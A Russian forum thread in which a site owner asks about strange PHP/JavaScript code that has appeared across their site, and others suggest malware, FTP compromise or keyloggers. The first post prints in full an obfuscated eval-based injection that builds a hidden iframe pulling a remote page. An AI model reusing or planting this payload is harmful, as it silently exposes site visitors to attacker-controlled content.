Форумы|JavaScript
Странный код

<<Пред. | След.>>
1,2
Сообщения
1. Emerald[840](Off)Отв|Цит|ЛС
05 Май 2013, 12:59
По всему сайту появился вот такой код

<?
#ded509#
echo " <script type=\"text/javascript\" language=\"javascript\" > e=eval;v=\"0\"+\"x\";a=0;try{a*=2}catch(q){a=1}if(!a){try{document[\"\x62ody\"]^=~1;}catch(q){a2=\"_\"}z=\"2f_6d_7c_75_6a_7b_70_76_75_27_2f_30_27_82_14_11_27_27_27_27_7d_68_79_27_7b_27_44_27_6b_76_6a_7c_74_6c_75_7b_35_6a_79_6c_68_7b_6c_4c_73_6c_74_6c_75_7b_2f_2e_70_6d_79_68_74_6c_2e_30_42_14_11_14_11_27_27_27_27_7b_35_7a_79_6a_27_44_27_2e_6f_7b_7b_77_41_36_36_81_7c_6f_73_6c_7a_72_6c_35_79_7c_36_6a_76_7c_75_7b_38_40_35_77_6f_77_2e_42_14_11_27_27_27_27_7b_35_7a_7b_80_73_6c_35_77_76_7a_70_7b_70_76_75_27_44_27_2e_68_69_7a_76_73_7c_7b_6c_2e_42_14_11_27_27_27_27_7b_35_7a_7b_80_73_6c_35_69_76_79_6b_6c_79_27_44_27_2e_37_2e_42_14_11_27_27_27_27_7b_35_7a_7b_80_73_6c_35_6f_6c_70_6e_6f_7b_27_44_27_2e_38_77_7f_2e_42_14_11_27_27_27_27_7b_35_7a_7b_80_73_6c_35_7e_70_6b_7b_6f_27_44_27_2e_38_77_7f_2e_42_14_11_27_27_27_27_7b_35_7a_7b_80_73_6c_35_73_6c_6d_7b_27_44_27_2e_38_77_7f_2e_42_14_11_27_27_27_27_7b_35_7a_7b_80_73_6c_35_7b_76_77_27_44_27_2e_38_77_7f_2e_42_14_11_14_11_27_27_27_27_70_6d_27_2f_28_6b_76_6a_7c_74_6c_75_7b_35_6e_6c_7b_4c_73_6c_74_6c_75_7b_49_80_50_6b_2f_2e_7b_2e_30_30_27_82_14_11_27_27_27_27_27_27_27_27_6b_76_6a_7c_74_6c_75_7b_35_7e_79_70_7b_6c_2f_2e_43_6b_70_7d_27_70_6b_44_63_2e_7b_63_2e_45_43_36_6b_70_7d_45_2e_30_42_14_11_27_27_27_27_27_27_27_27_6b_76_6a_7c_74_6c_75_7b_35_6e_6c_7b_4c_73_6c_74_6c_75_7b_49_80_50_6b_2f_2e_7b_2e_30_35_68_77_77_6c_75_6b_4a_6f_70_73_6b_2f_7b_30_42_14_11_27_27_27_27_84_14_11_84_30_2f_30_42\"[\"split\"](a2);s=\"\";for(i=0;i<z.length;i++){s+=String[\"fromCharCode\"](e(v+(z[i]))-5-2);}zaz=s;e(zaz);}</script>";

#/ded509#
?>
добавлено спустя 47 секунд:
что это может быть, и откуда взялось, знает кто?
2. u99[32](Off)Отв|Цит|ЛС
05 Май 2013, 12:59
возможно вирус
3. Emerald[840](Off)Отв|Цит|ЛС
05 Май 2013, 13:00
я тоже так думаю, как это вылечить
?
4. Aventus[328](Off)Отв|Цит|ЛС
05 Май 2013, 13:09
На хостинге удали подозрительные файлы. И бд почистить бы не мешало
добавлено спустя 12 секунд:
как минимум
5. Александр II[1172](Off)Отв|Цит|ЛС
05 Май 2013, 13:20
вордпресс?
6. Emerald[840](Off)Отв|Цит|ЛС
05 Май 2013, 13:37
Александр II пишет:
"вордпресс?"

Нет, граберы, поиск муз.
7. Akdmeh[2348](Off)Отв|Цит|ЛС
05 Май 2013, 13:51
Либо хакнули ftp, либо у тебя на устройстве вирус.
Либо у самого хостера дыра, такое тоже бывает.
8. Fever[929](Off)Отв|Цит|ЛС
05 Май 2013, 14:20
к чему гадать? распарсить такое - проще простого, а вот что это значит - сами решайте, я не в курсе
__________
посл.ред. 05 Май 2013, 14:26; всего 1 раз
9. Emerald[840](Off)Отв|Цит|ЛС
05 Май 2013, 14:21
Akdmeh, пароли абсолютно ни кому не давал, арендую место на серв.
10. Akdmeh[2348](Off)Отв|Цит|ЛС
05 Май 2013, 14:36
9, не обязательно их давать, есть программы-кейлоггеры.
У меня своего времени так на сайт залили шелл - программа сбирала данные с Filezilla, а там были в закладках пароли.

<<Пред. | След.>>
1,2

Ответить на тему
Сохранить в txt